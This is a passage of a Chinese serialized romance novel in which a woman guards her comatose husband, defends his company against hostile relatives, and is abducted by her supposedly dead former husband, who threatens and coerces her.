搭载手臂上的衣服滑落,衣架砸出“哐当”两声突兀的音。 杨曦不敢看舒纯熙,她甚至不敢告诉女儿,秘书室的人说得甚至不再隐晦,原话是,让太太立刻乘飞机去北省,敬总随时都有生命危险,可能是……最后一面了。 。 换衣服下楼,坐车去机场,乘飞机,再换车,进到医院,舒纯熙跟在游之翎身后,几乎时刻颤抖着一整个身体,但还在强装镇定地往前走,尽量不掉链子。 完全陌生的医院,完全陌生的ICU病房。 手术已经做完,但是生命体征十分微弱,或许就这样永远地睡死过去,又或许,活着、但不再醒来,也就是传说中的“植物人”。 她还不能进病房,只能站在外面透过玻璃去看那个浑身缠着绷带的男人。 “敬总的情况还算好了,当时没上摆渡车,站在外面的工作人员都当场死亡了。” 游之翎叹了一口气,瞄着舒纯熙的表情,只见她面无表情地盯着里面在看,只好说: “医生说还要观察十几天,才能转出来。” “那我什么时候能进去看他?” 她总算说话,只问了这么一句。 站在不远处的男人挠挠头,说: “我等下问问医生。” 说完,有护士找过来,游之翎去处理了。 舒纯熙愣愣地望着里面的人,耳边寂静到不再听得见任何声音。 双腿缓缓失去了力气,女人瘫倒在地上,倚着纯白色的半面墙体,两眼一阵发黑,恍惚间又想起了自己差点就做出选择的那两条裙子,那样飘逸的裙摆荡漾在了脑海里面…… 三天后,监禁彻底解除的杨曦和舒怀宁也赶到了北省。 敬渝依旧在ICU病房里面静静地躺着,而在外面守着的人已然削瘦得如同脱了一层壳,目光无神,安静又无望地望着里面的情景。 杨曦心疼地将女儿给抱进怀里,良久,被拥着的人才意识到父母来了。 上次的事情后,她同舒怀宁的关系就一直没有修复。 此时,原本没有神采的女人倒是短暂地回了魂,从母亲怀里退出来,两步走到舒怀宁的跟前,两只手无力地蜷缩在一起,抵在腿边。 “为什么,到底发生了什么,为什么会这样?” 她疑惑地出了声,然后,很快就冷冷地接着说: “都怪你,都是你的错,你把敬渝还给我,还给我!……” 伸出手,本就无力的女人却开始推搡着依旧孔武有力的舒怀宁,现下却连多余的眼泪都流不出来了,她恨声叫道: “他要是死了,我也不活了,我一定也不活了!” 此言一出,不光是杨曦和舒怀宁,就连外面走廊里的其他人也都吓了一大跳,这还是第一次听见躺在那里面的男人的太太情绪崩溃。 伸出手抹了抹泪,舒纯熙猛地吸了吸鼻子,很快抹干净眼泪,又走回玻璃墙外面,红着眼望里面的人。 。 一周半之后,敬渝总算转出了ICU病房,住进了普通病房。 舒纯熙也得以坐在他旁边跟他说说话。 这些天,公司还算能够正常运转,但有些需要决策的东西还压着没有动,如果他再不醒过来的话,或许就要她来帮他处理这些事情了。 女人双手抵在腿边,坐在椅子上,望那双紧闭着的眼睛。 这些天,她不知道盯着这双眼皮子看了多少个小时,但却看不见任何一点的动静。 如果不是他的心脏依旧在跳动,她都不知道要如何确认他还活着。 舒纯熙想着,有些卸力地朝前一靠,双膝跪在冰凉的地板上,将头放在病床上面,伸手轻轻将他不再动弹的手给覆住,轻轻地说: “你快点醒过来啊,我好害怕,我真的好害怕,敬渝,你醒过来好不好?” 男人是最令人讨厌的,如今竟然也敢当着她的面不回答她的问题了。 讨厌得要死。 女人颓唐地闭上眼睛,忽然想起遥远的以前,当她还在莫瑞恩尔的时候,幻息曾那么诚挚地对她说: “太太,我将祝福送给你,时时刻刻替您祈祷您的幸福。宁啊,宁啊,松兰花神会保佑您的。” 宁啊,宁啊,幻息的祝福还会起效么,松兰花神这次还会保佑她此生的幸福吗? 她在心中默念,倚着床板合上了因精神紧绷而十分疲惫的双眼。 …… 醒来的时候,病房里一阵花香,夕阳透过窗户照到她和病床上。 轻嘶一声,女人很快皱眉,几乎起不来身,很快身体落入一张熟悉却又陌生的大掌之中,她循着那双手仰头,不可置信地撞进一双幽深探究的眼睛里。 “你,你……” 呼吸不争气地紊乱,惊吓与无措同时占据大脑,舒纯熙惊恐地甩开男人的胳膊,却只能徒劳地坐在冷冰冰的地板上。 “……你,你没死?” 敬亭瞧着女人精彩纷呈的表情,也从椅子上站起身,蹲在她跟前凑上近前,见她既没有久别重逢的欣喜,也没有再嫁他人的歉疚,也没有同她怎么计较。 神情激动的女人红了眼眶,指着他,呢喃地说: “你怎么会没死?” 噗笑一声,敬亭伸出手,用粗粝的拇指将她眼尾的泪珠揩掉,幽暗又炙热地盯着她,忽然说: “哭什么? “还能让你再守一次寡不成?” 女人抵住地板,撑着力气从地上爬起来,绕到另一边去,远远地望着他,说: “谁让你进来的,你给我滚,我不想看见你。” 见她这么快就接受了自己没死的事实,甚至连原因也不想多探究,男人沉下脸来,不怎么友善地看了一眼病床上的男人。 “他还有多久好活?我死的时候你为我流过眼泪么?伤心过哪怕那么一秒吗?” 自嘲一笑,敬亭大步走进,拽住舒纯熙的手,她反抗的动作越大,他便越发像一只钳子一样拧着她。 “松开我,松开我,疼呐!” 舒纯熙痛苦地皱紧眉头,伸腿用鞋跟去踩他的皮鞋。 直到脚上的钝痛传来,男人才稍微冷静了一点,立刻松开她,有些无措地举着双手。 “抱歉,我,我不是故意的。” “没人在乎,请你离开。” 他最受不了的就是她这种冷冰冰的姿态,颓唐地扒拉下眼睛,学着敬渝的样子放软了声音,轻声说: “你,你的身体养好一些了吗?” 第70章 这句话刚刚说出口,敬亭就有点犹豫地闭上了嘴。 果然,女人冷若冰霜的脸颊上缓缓出现一种带着点讽刺的笑意,凝在嘴角,甚至是很不像她如今这个年纪的模样。 垂头看了眼自己的脚尖,舒纯熙再度抬首,定定地给了他一个眼神 ,淡淡地说: “托你的福。” “纯熙……”, 男人望着她,不自主地靠近了半步,低声怔怔地说: “对不……” “打住,” 女人双手抱胸,冷哼一声背过身去, “我不想看见你。” 高大的男人举着手还想再说点什么,房门外很快传来一阵急促的敲门声。 而后在那敲门声的礼貌示意之后,门直接从外面被打开,游之翎快步走进来,目光警惕地落在敬亭身上。 目前的情况,游之翎也弄不明白,尤其是眼前这个男人还是活生生的“死而复生”了。 能支开他们的人,还敢堂而皇之地出现在病房里。 游之翎得到这消息的时候简直匪夷所思,立刻就赶过来了。 “二少爷,敬总需要静养,你请回吧。” 下意识上前挡在舒纯熙身旁,隔开了他们,游之翎还算客气地做了个手势。 好在敬亭并没有还要纠缠的意思,只是又望着女人的方向几息,才收回目光,不怎么在意地勾唇笑了下,抬脚走了。 脚步声终于走远,剩下站在原地的两个人都微微僵硬着。 还是舒纯熙率先开口,转过身一脸忧虑地揪住双手,低声说: “我们得尽快转院回去,恐怕公司就要不太平了。” 她所言不虚,这些天,消息再怎么也不能瞒得密不透风,商会那些敬家的大大小小股东都冒了出来,托人打听消息打听到游之翎耳边的更是不在少数。 风雨欲来,本就不可避免。 但最最重要的是,原本已经入土为安的敬亭,竟然根本就没死,这才是如今最大的变数。 舒纯熙走到病床边上,垂眸去看沉睡着的人,心中惴惴不安,泛上一阵又一阵的愁绪。 。 转院手续办得很快,流程压缩到最简,敬渝一行人于周末被转回了昼米尔市的军区医院。 将人安顿好,几乎没有太多时间耽搁,舒纯熙就乘车离开了医院,跟游之翎一起往暮帆商会去。 说来也颇为无奈,秘书室如今可用之人竟然只有这次被留在南省稳定后方的游之翎来,剩下的两个,全都与敬渝一同躺在病床之上,至今也没有苏醒的迹象。 公司里医院上下,需要游之翎操心的事情实在是太多了,他整个人完全是在超负荷运行着。 但这些都还不是最要紧的,将他的一颗心压得最重的,其实是心理上莫大的压力。 谁也不知道敬渝还会不会再醒过来,往后的一切都要何去何从,没有人知道方向。 于是,他便只能在等待与忧愁之间苦苦维持着表面的冷静与平和。 男人眼下泛着些许乌青,落后小半步与舒纯熙一起踏进大厦,微弱的目光落在女人纤瘦的肩背上,不知道自己是否还能期待些什么。 足以容纳几十人的股东会议厅内,坐满了今日为个明确说法聚集而来的股东们。 暮帆商会是延续几百年的家族企业,这些股东与敬渝都是沾亲带故的,甚至舒纯熙还认得出一些在葬礼上,跟她一起站在亲属席位的人。 不过血缘也有亲疏,敬永安只有一个儿子,那就是敬渝。再在族谱往上追溯,便是敬永安的亲弟弟敬佟,还有他的儿子敬亭…… 女人走进会议厅,用凝神的目光扫过眼前的所有人。 原先喧闹的房间从门口开始慢慢往远处扩散,延续出安静来。 只是依旧有窃窃私语的声音从不远处传过来。 “怎么是她,不是说舒小姐跟敬总已经离婚了吗?” “她怎么来了,这算什么?她又不是我们敬家的人了。” 耳尖的男人连忙咳嗽几声,上前一步站在红桐木的会议桌旁,朗声说: “敬总身体有些不舒服,今天太太代替他来见你们。” 人群终于彻底安静了下去。 “敬总没事吧?” 但不知道是从哪一边响起了一个声音,愈来愈高昂,直接呼喊道: “我们要见敬总,总得见到敬总才能安心啊!……” “他现在还不太方便,有什么事,你们跟我说也是一样的。” 始终未发一言的女人目视众人,终于开了口。 “这……不是说舒小姐跟敬总已经离婚了吗,敬总的前妻不好再插手公司的事吧?” 有人小声嘀咕了一句,在落地闻针的会议厅里分外明显。 有了人起了头,四下议论声便竹笋般冒了出来。 更有说话不客气的,直接不满地嘟囔道: “一女侍二夫,不害臊就算了,竟然还想把手伸进公司来,你们舒家人未免也太贪心了点!……” “她现在不是太太了吧,游秘书你要非这么说,那我们至少得看到结婚证吧?” 质疑的浪潮越大被掀起来,浑水摸鱼的人各自打着小九九,但发难的话却是冲着同一个人去的。 女人挺着背,眉头皱了一下后便松开来,不做辩驳,只是说: “我们是离了婚,但是财产分割还没有处理完,不管怎么算,敬总的股份我也都占一半,这你们有什么异议么?” “怎么可能,你们没签婚前协议的吗?!” 几个小辈吵嚷起来,直接从椅子上站起身,望着舒纯熙的眼神充满探究,并且很不友善。 …… “不论如何,股权的事情岂是儿戏?由不得你们两个轻飘飘地这么决定了!” 一位长辈猛地将手中拐杖往地上一杵,苍老的声音一锤定音。 “对,我们不认!” “结个婚就想分走我们这么多股份,没有这样的好事!” “开宗祠吧,敬总既然不露面,我们就去请几位长辈做主……” “要我说,如果真像外面传的那样,说敬总真的要不行了,那是不是就得重新选一支做嫡系了?” 不知是谁说了这么一句话,原本躁动的人群忽而间又沉寂了下来,各自对了对眼神,暗流涌动起来。 “说什么呢,各位叔叔伯伯?” 就在气氛凝滞到了一个顶点时,大开的厅门外,不合时宜地走进来一个挺拔的身影。 男人高大健壮,小麦色的皮肤如同草原丛林里的野豹,带着一股难以忽视的烈性,却又让人忽视不了他俊朗得过分的面庞。 “我们这一支,又不是真的没人了,怎么就闹到要开宗祠的地步了?” 场内所有亲身参与过敬亭葬礼的人,都瞪大了双眼望着突然出现在门口的男人,再揉揉眼,确定自己真的没有眼花。 “你,啊?小亭你不是……?” 先前那老人震惊地伸出一根手指,颤颤巍巍地指着敬亭的方向,那个“死”字倒是顾忌着没有真的吐出来。 “咱们今天先不说这事,后面我再好好跟各位叔叔伯伯解释。我今天来,也是跟大家一样担心敬总的。” 敬亭偏过脸,盯着站在自己右面的舒纯熙,好整以暇地问: “敬总现在到底是个什么状况,你总得给我们个准话不是?” “对啊,不管怎么样,还是敬总的安危最重要,之前那个新闻哦,看得我胆战心惊的,晚上睡觉都担心得不得了!我大堂哥就这么一个孩子啊……” 说着,二表姑竟直接掩面哭泣了起来。 “他,” 舒纯熙咬了下唇瓣,很快接着说: “他没什么大事,再休养一段时间就能恢复。接下来的这段时间,也只是暂时让我代为处理公司的事情而已。” 游之翎也紧跟着颔首点头,肯定道: “这都是敬总的意思,各位股东稍安勿躁,听敬总的安排最重要。” 人群里不服气的人俨然不信,还欲再说什么,敬亭则不动声色地回过头,给了外面一个眼神。 不消片刻,一阵高跟鞋踩在地板上的清脆声响突兀响起来,不等人看清楚,郑召雅已然气急败坏地抓住了舒纯熙的胳膊。 女人被吓了一跳,皱起眉头不大和善地想要甩开被抓着的胳膊,不料却被越缠越紧。 “小姨,有什么事我们等下再说行吗,你先回去。” 她自认语气还算好,低 声劝告道。 不料郑召雅红着眼眶,如同看仇人一般盯着她瞧,拔高声音不管不顾地说: “我早知道小渝娶你没有什么好事,他好端端地到底为什么要去北省,还不是为了你们舒家那点破事,现在你满意了不成?” “本来我就不同意他娶你,如今好了,为了你搭上这条命还不够,股份也都落到你手上,成你的了!你们舒家处心积虑到底想干什么,这不是明摆着要吃我们小渝的绝户么?” “欺负我们小渝无父无母,没有人撑腰是吗?!” 郑召雅甩出一连串的不满,说到气急败坏处实在控制不住心绪,松开手的瞬间竟就一巴掌扇了上去。 而舒纯熙扶了一把桌子,才勉强没有被掀翻在地。 游之翎没料到这样的情境,跨步上前,伸手叉住郑召雅打人的那只手,沉声提醒道: “郑女士,请您尊重太太。” 郑召雅傻了眼,见敬渝的秘书当众给舒纯熙撑腰,反而来下自己的面子,众目睽睽之下羞愤难耐,转过去俯下身,撑着会议桌,欲哭无泪地捶打着泛着亮光的木板,哭叫道: “唉哟小渝,我的小渝该怎么办才好啊,我姐姐舍了一条命,才为你们敬家生下继承人,现在却要让一个外人来当家,这可怎么办哟!叫我以后怎么去地下见我那苦命的姐姐哎……”【你现在阅读的是 】 第 71 章【VIP】 第71章 左脸酥麻,毛孔之中似乎有细密的针尖在戳。 舒纯熙直起身子转过来,双臂只是搭在身侧,望着郑召雅撒泼打滚的样子,说: “这里不是你该来的地方,容不得你胡闹。” 语罢女人即刻给了身后人一个眼神,站在门边的两个保镖走上前来要拉郑召雅离开。 眼见着自己就要被赶走,原先还在号啕大哭的人也顾不得更多,神情激动地甩开手往敬亭身边去走,嚷嚷着: “反正今天你们敬家的长辈们都在,你们一个个都是小渝的亲人,必须得为小渝做主。我虽是外人,但跟这个女人可不一样,我今天来,就算是腆着脸也要争上一争,我都是为了小渝好啊! “她跟小渝都离婚了,没有一分一毫的关系了,凭什么替小渝接手公司,你们都评评理啊!” 或许是她的话说到了场上其他人的心坎里,一时间鸦雀无声,都在无声地用目光紧盯着舒纯熙,附和着郑召雅的话。 很快,郑召雅顺着自己的手望向旁边的这个身影,找到救命稻草一样,又说: “敬亭,敬亭不是回来了吗,他可是小渝的亲弟弟,就算是找人代管公司,也应该是他,绝对不能是舒纯熙这个外人啊!” “……” 人群里四下声起,预期过高的,跟保守的,最终似乎达成了心照不宣的平衡,有人的声音透出来,赞同道: “嗯,敬亭暂代的话,倒也是合情合理。” “这倒是可行。” 眼瞅着一群人又讨论出新的方法了,舒纯熙与游之翎对视一眼,再定定地望向股东们,忽然说: “我知道你们各有各的担心,但具体怎么办,还不如听听律师怎么说。” 说完,等了一小会儿,一位精神矍铄的老人走进来,身后跟着他的助理,正是暮帆商会的律师。 “陈老……他怎么来了?” “完了,她不会真的要分敬总的股份吧?” 被称呼为“陈老”的男人走进来,眼皮子一抬一合,带着点不容置疑的镇定感,似乎连会议室的氛围也不再焦躁不堪。 男人抬抬手,示意助理将文件包打开,随后从包里拿出一个文件袋。 绕开文件袋上缠绕的线,从里面拿出来几张纸放在桌上,陈伯清抬头沉稳地扫了一眼在座的股东们,将手中文件递给助理,由他从左边向右递过去传阅。 与此同时,陈伯清也开了口,并无波澜地宣告道: “我手上保管着敬渝敬总的遗嘱和委托书,上面明确写了,如果敬总不幸遇难身亡,或是处于不具有行事行为能力的情况之下,公司及他名下的所有财产都由舒纯熙女士处置。” “敬总已经签过字了,具有法律效力,你们还有什么意见?” “这简直就是胡闹!” 一位还没有看到委托书具体内容的长辈已然坐不住了,撑起身子又说: “舒小姐是前妻,是他的前妻!他们又没有孩子,难不成我们敬家的大半江山就这样拱手让给一个外人了吗?” “敬总处置的是他个人名下的资产,我想我们都无权置喙,至于公司的股份,你们也可以协商后再从舒小姐手中分批购回。” “我的老天!” 人群里直接有人晕了。 舒纯熙的示意之下,有人去搀扶着那人送向医院。 “好啊,你还说你不是要吃绝户?!” 郑召雅呆愣愣地指着舒纯熙,心如死灰地呢喃着。 被她盯着的女人也只是淡淡地望向她,说: “这是敬渝的意思,如果你不满意我也没办法,来人,送小姨回去。” “你不要叫我小姨,我算你哪门子小姨,舒纯熙你这个祸害人的狐狸精!” 眉头皱了一下,被骂的人一脸冷漠地望过去,忽然说: “如果你不尊重我是敬渝的妻子,那我也不会尊重你是敬渝的小姨……送郑女士回去!” 郑召雅很快被人拉走,临走时与敬亭擦肩而过,她狐疑地盯着这两个人瞧了一眼,恍然大悟地高呼道: “不,我知道了,我明白了!说什么敬亭死了,根本从一开始就是假的吧,你们夫妻两个是串通好了,你早就变了心,就是要回来骗小渝把家产给你,你们两个处心积虑,就是为了公司吧,不要脸的狗男女!” 她说着,用尽吃奶的力气,竟然摆脱了保镖的束缚,冲上去还想要撕扯舒纯熙。 游之翎赶紧挡在前面,示意保镖赶紧把人抓走。 靠得近的几个股东听到舒纯熙口中的那句话“敬渝的妻子”,无望的眼睛里闪着点微弱的光,但很快又觉得郑召雅说的话在理。 舒纯熙垂眸,仿佛也因她的话想得入了神。 过了一会儿,女人张开嘴,沉声说: “诸位不用担心,既然敬渝委托我照管公司,我会尽力去做。你们考虑的事我明白,虽然我和敬渝还没有领结婚证,但往后我就是他的妻子,也不会做对不起他的事情。至于以后的事情,你们更不必担心,他休养一段时间就会恢复,一切不会有什么变动。 “今天不早了,大家从哪里来的,回哪里去吧,我就不继续叨扰各位叔伯姑姑们了。” 语罢,女人已经转身,带着人快步离去。 被晾在原地的男人垂着头,缓慢地攥起了一只拳头。 暂代公司的人本该是他,他才是最最名正言顺的接班人。 至于他只是暂代敬渝的时间也不会太长,一切都会顺理成章,病床上的那个人没死在爆炸现场又怎么样,他又还能挺多久呢? 可是,他压根没有预料到会凭空冒出来这么一份文件。 舒纯熙走后,剩下的会议室里安安静静的,一个不少,还在争相传阅那份文件。 从反应上看,就知道确确实实是敬渝白纸黑字签好了的。 竟然还有这么一招。 敬亭冷哼一声,摇摇头,走过去从一个人手里拽过那份文件,仔仔细细地将那上面的字给读了一遍,然后再没好气地拍在了桌子上。 …… 说是接手,但其实也没有太多事情需要决策。 舒纯熙跟着游之翎回了敬渝从前的办公室,如今秘书室的人手不够,只能先从下面的部门调几个上来。 不光是舒纯熙需要跟商会里的事务磨合,就连游之翎跟另外的几个新秘书也要互相适应。 阴云与沉默蔓延在整个顶层。 。 下班后,舒纯熙去了医院。 这是他们回南省的第一天。 她已经决定在医院旁边的酒店住下来,如果后面敬渝能出院回家观察,她再陪他一起搬回敬宅。 当然,那些都是后话。 毕竟,她都不知道敬渝还会不会醒过来。 女人走进病房,同护士打了个照面,然后房内的空间就留给她。 舒纯熙走过去,安安静静地坐在椅子上,凝着眉,回想着今天在公司的那些事。 如果没有他留下的遗嘱,很可能就是另一番光景了。 遗嘱她也过目了,签字时间是两个多月以前。 一想到这,她就不知心里面该作何感想。 今天的男人与平常没有什么不同,依旧紧紧闭着双眼,没有一丁点的生气,白皙的皮肤失去血色,看上去如同白纸一样单薄。 她俯下身,抚上他的大掌,另一只手搭在因坐下而微微向前凸起的小腹上面。 这几天,她甚至隐约在期待自己会突然地呕吐,会没有胃口再也吃不下去东西。 可是没有,她想起他炙热的呼吸曾拂过自己战栗的皮肤,那种肌肤相贴的亲密记忆几乎少得可怜,一阵穿堂风过,便只留下哐当作响的一地狼藉。 好心狠的男人。 那时候说要来提亲,是不是又在骗她? “王八蛋,把公司留给我有什么用,谁要你的钱,谁要帮你管公司?” 女人咬唇,湿润的眼眶里,泪珠打着转却不愿意任它滚落,固执地昂着头,恶狠狠地抹掉,然后上前凑在敬渝耳边,咬牙切齿地说: “敬渝你要是真的敢死掉的话,我就也不活了……我活不下去的话都是因为你,你试试看!” 半开的窗户外灌进一阵风,吹动着窗帘沙沙作响,天地间只有这点微弱的声息。【你现在阅读的是 】 【正文完】 第72章 敬渝是在一个无比寻常的工作日醒来的。 拆了绷带的人比健康时要更瘦削,皮肤白得如同一块玉,连转动脑袋的简单动作都完成不了,便只好眨巴着一个多月没有睁开的眼皮。 眨一下,再眨一下。 进来换药的护士走进时,惊喜地出了声,立刻往外走去叫人, “醒了,敬先生醒了!” 听到护士呼喊报喜的声音,敬渝也就不焦急了,安下心又闭上了眼睛,耐心地等待着。 过了好一会儿,医生鱼贯而入对他进行了检查,而后就是人群中挤开一条路,从外圈走进来一个人。 敬渝抬起眼皮子望过去,对上的是游之翎的脸。 男人的眸色不置可否地黯淡了一点,抿唇,有些走神了起来。 等到冗长的检查和叮嘱之后,在医生的注视下尝试着坐起身的男人,垫着两个枕头坐在了病床上。 许久未张开嘴说话的嗓子喑哑地撕扯着,低沉地说了句“有劳医生”。 送走医生,病房安静下来,男人的指尖无意识地抠动了一下腿边的床单,凝眸,似乎还没有从长时间的昏迷沉睡里苏醒过来,一整个人都处于放空的状态中。 游之翎静静地等待了一会儿,开口询问了些当时的事情,又交代了些后续的处理,比如郑徽和唐廪也已经醒了,正在养伤,还有周政,他没熬过去,不久前走了。 随着游之翎的话,敬渝脑子里的思绪与回忆才慢慢地回笼过来,不免想起来那天他心里的猜测,敛眸,低声说: “敬亭……可能没死。” 这下换游之翎沉默了,他咽了下唾沫,将他昏迷时这段时间里的事情一五一十地说了。 病床上的男人静静地听着,唇抿紧,然后又张开,终于将自己醒来时就想问的话给吐露了出来,小声地说: “纯熙呢?” “太太在出差,郑晓跟她一起去了,奥,郑晓就是前段时间刚刚提拔的秘书。” 说着,游之翎拿出手机来, “对了,你醒的消息我必须得赶紧跟太太说,她一定会很高兴的。” “太太”两个字在敬渝耳边绕着不停,他有些踌躇地盯着游之翎打字的手,心中竟然生出一种甜蜜的思绪,但又故作矜持地没答话,只是看着他操作。 消息发过去,游之翎将手机给摁灭,就没管了,又跟他说公司的事情。 敬渝听着舒纯熙一些可圈可点的决策,还有游之翎字里行间流露出来的些许敬佩来,“嗯”了一声,又伸手抚了抚自己的脸。 下巴上还有许多青茬,如今应该很憔悴,不怎么好看了。 “你,” 终于开口,缓缓地说: “不如给她打个电话?” “啊,奥奥对,那我现在就给太太打电话。” “……嗯。” 男人清明的眸子里竟有些隐约的期待,就连被游之翎看穿后也不过是星星点点的不好意思罢了。 电话开了免提,响了将近一分钟,才被接起来。游之翎配合地没有出声,将手机朝着敬渝的方向移得更近。 男人温柔地勾唇,苍白的面上浮上一层淡淡的粉红色,小声说: “好久不见……太太。” 那头没有立刻传来回答,几息之后,传来男人的一声冷笑,幽幽地说: “是啊,好久不见了,我亲爱的、大哥。” 。 敬亭挂了电话,将手机再度锁到立柜抽屉里,出了房门。 流光溢彩的琉璃花窗下面,舒纯熙正在跟幻息学做祝福。 女人的乌发一半用一根木簪浅浅地固定在脑后,剩下的头发散在肩后,穿着一件风雅绰约的精灵族服饰。 两个人跟前摆着一张小小的案几,一尊净瓶里插着一枝松兰花。 两个人正在练习着对松兰花做祝福。 “夫人,您是想给您的朋友做祝福吗?” “不是,” 她偏过头,唇角笑意恬淡,静静地跟幻息说: “他是我的爱人,我希望他能快点醒过来。” 闻言,原本止步在走廊尽头,嘴角凝着笑意望着两人的敬亭,沉下脸来,一脚踏破客厅的平静,摆摆手,示意幻息退出去。 女人听到脚步声时,就已经连忙从蒲团上站起身,现在更是用有点担忧的眼神瞄着高大的男主人,小步子离开了客厅。 停留在原地的女人一派自然地跪坐在蒲团上面,连多余的眼神都没有给他。 瞧她这么闲适的样子,敬亭都要怀疑自己是不是真的请她做客来了。 当然,天公作美,敬渝醒了,他也犯不着再从这个心硬如铁的女人身上找突破了。 “我特意带幻息回来照顾你,是想着你可能会想她,可不是为了让你在这儿给敬渝祈福的。” 敬亭笑得有点惨淡,蹲下去伸手,将她的脸给扭过来,盯着她的眼睛, “这么喜欢他,非他不可,你们睡了?他碰过你了?” 美人于是颦蹙,忍耐的样子甚是美丽,声音冷冷地,像是一把冰刃插在胸膛上,不怎么客气地说: “跟你有什么关系?” “怎么跟我没有关系?你可别忘了,我没死,咱们也没离婚,说到底,我才是你的丈夫。” 回应他的是一声嘲讽的淡笑,捏着女人下巴的那双手于是愈发用力,咬牙切齿地说: “还说没有对他念念不忘?我死了不到半年,你就欢欢喜喜地嫁给敬渝了,你自己不觉得打脸吗?怎么,我死了正好给他挪位置,你们再也犯不着苦苦相思了是吧?他知道你这幅身子都被我玩烂了吗?啊?” 女人的呼吸总算微弱下去,冷漠地扫了他一眼,“神经病。” 下巴却是被松开,但下一瞬男人却如同猎豹撕咬猎物一般猛地扑了上去,将她向后扑倒在地板上,纤细的双手牢牢攥在掌中,分开固定在身体两侧,丝毫不得动弹。 身下的人不受控制地颤抖起来,用力咬紧下唇,尽力维持着冷静。 但反应还是暴露了她的害怕。 见她总算露出点自己熟悉的样子,男人暴戾的模样才稍稍收敛一点。 这段时间,她在公司里沉着冷漠的样子还真是让他感到陌生,他害怕,她会渐渐变成一种自己不认识的样子。 但好在,她还是这样。 “你还不知道吧?就刚刚,敬渝他醒了。你说,他要是知道你在我这儿,会怎么想?奥,不对,你说我要是现在碰了你,他会不会介意 ,他还会不会再要你啊?” 不知道是他的哪个字触到了舒纯熙的神经,处于应激中的女人虽然全身被压制着动弹不了,但竟咬紧牙关睁开了眼,那里面闪烁着一种执拗却又奇特的情绪,竟然称得上是一股莫名的勇气。 “哪又怎么样?” 她明明已经加派了详尽的人手保护自己,但还是被他掳到了这里。害人的人反而总能钻得到空子,人事天命不在她这儿罢了。 “你以为我在意这个?实话告诉你吧,为什么我那么快就嫁给了敬渝,因为我骗他说我怀了你的孩子,但他不在乎,他要跟我结婚,还要给你的孩子一个家。你说,我还有什么好担心的?” 敬亭愣怔了一下,手上一松,就听见舒纯熙嘴角含笑,一字一句地说: “你以为,现在还有什么东西可以把我跟他分开来吗?没有……除非你现在就弄死我。” 这样一双眼里的神情太亮了,仿佛就要把敬亭给灼烧掉了一样,他愕然地松开舒纯熙,跪坐下去。 她竟然,在炫耀敬渝给她的爱吗? 没有过,她从来没有这样过的。 “没事,是我以前对你不够好,我有错,我以后都会改的。” 男人勉强地笑了一下,拍了拍自己的脸蛋,说: “我会让敬渝为你自裁,然后敬家的一切,包括你,都会回到我身边来的,没关系,纯熙,你只是暂时离开我一小段时间而已,我只是把你暂时借给了敬渝而已。 “我也舍不得这样对你,但是我没办法,你不回到他身边,他又怎么会去管舒家的事呢?我也是迫不得已的,你千万不要怪我。一切都会回来的,你是我的老婆,你是我的……” 女人也坐起身,用一种探究的目光望着他,看着敬亭逐渐言辞混乱起来。 “纯熙,我也很爱你啊,你难道就没有一丁点的动容吗?那时候,最后是我挡在你身前,你难道就没有一分一毫的感动吗?” 被灼灼目光盯着看的女人牵起唇角,意味不明地瞥了他一眼,心力交瘁的同时生出一种鄙夷来。 “感动?你这个人连车祸都敢伪造,还要利用到百分之百,做戏一样地挡在我面前,你这样,到底还想要我感动什么?” 她垂头,“呵呵”笑地有点茫然。 可笑,她竟然以为敬亭真的是为了救她才死的。 所以即使她恨他,似乎最后关头那一挡,也能在心里留下些可抵消冤孽的波澜。 但没有了,她心中曾有过的那种歉疚与不知所措,在今时今日以一种最为难堪的方式被揭开来,底下只有血淋淋的谎言与假象。 舒纯熙撑在地板上,偏过头扇了扇眼眶,试图让发胀的大脑立刻平复下来。 太恶心了,太令人作呕了。 “那……” 敬亭显然听明白她到底在说什么,有些心虚地止住声音,又怔怔地说: “但至少,当初是我娶了你。” “对,对啊,你娶了我,所以我很感激你,可是你又是怎么对我的?” 女人恶心地无话可说,伸手抵在胸膛上面,难受地闭上双眼,耳边轰鸣声四起,说: “其实你跟仇正省,你们是一起的吧?” 这么久以来,他们都以为,敬渝的事情是仇正省的蓄意报复,为此舒怀宁也揣着一股子闷气,在国政院大刀阔斧地进行整改,两派简直进入你死我活的白热化地步。 但现在想来,他们不在重审案件之前想办法阻止敬渝,反而在他次日返回南省的时候就要害死他,到底是怎么样的速度,才能即刻间完成这样的安排。 这分明就是蓄谋已久,他们只是在等待敬渝开罪了仇正省,再以仇正省的名义去除掉敬渝而已。 所以,当初他是不计较得失、救自己于水火的人吗? 娶她,或许也是仇正省的授意吧,要将她看管在他们的眼皮子底下,再也兴不起风浪。或许他也正巧有那么一点喜欢她,所以顺水推舟,他就成了那个来完成这个任务的人选。 于是,心安理得地承受她的感激,再理所当然地挑剔她的过去和心意。 “你伪造车祸是为了什么?” 舒纯熙低沉着嗓音,冷幽幽的猜测着: “为了把我名正言顺地送回敬渝身边?还是指望他为了给你这个弟弟报仇,怒发冲冠向仇正省发难?” 或许,二者兼有。 敬亭的脸色已经很难看了,他眼见着舒纯熙站起身来,浑身透着不屑,就这样离开了客厅。 。 与此同时的医院,敬渝如同一片秋叶般扑朔在寒风里面,不住地剧烈咳嗽着,伸出手指着空气,断断续续地说: “去,快去把小叔和小婶都接回来,快啊……!” 闻讯而来的李姐和柳叔刚刚赶到门外,就听见里面的人咳嗽着说了什么,敲门走进去后,便是听敬渝又虚弱地复述了一遍,嘱咐道: “要快,一定要快,不能耽搁!” “敬总,” 柳叔面露难色,轻声附耳过去,提醒道: “老敬总有遗言,不许敬佟回国。” 敬渝无奈的合上双眼,刚醒来大脑就要过载了,实在有些力不从心,道: “我知道,但是纯熙,纯熙她被敬亭挟持了,管不了那么多了,快去把他们接回来啊。” 说着,削瘦的男人又猛然咳嗽起来,俨然要吐血的样子。 “唉哟,别急别急,别急坏了身子,” 柳叔拍拍敬渝的背替他顺气,叹了口气说: “算了算了,这事交给我去办吧,你别担心!” 。 舒纯熙被敬亭挟持的第三天,也就是敬渝苏醒的次日,敬亭发去了消息。 要敬渝一个人来见他们,用他来换舒纯熙,附带的,是他拍的一张舒纯熙的照片。 好在柳叔速度够快,到了约定的时候,敬佟夫妇也被压着跟敬渝一行人回合。 重伤刚刚苏醒的男人太过孱弱,坐在轮椅上,上面盖着一条薄毯,抬眸去望自己将近五六年未见的小叔和小婶,动了动嘴唇,说: “还请小叔小婶好好劝劝敬亭,劝他迷途知返。” …… 夜色之中,原本应该一个人前来的敬渝被柳叔推着,身旁还跟着敬佟跟他的妻子林溪,以及保镖。 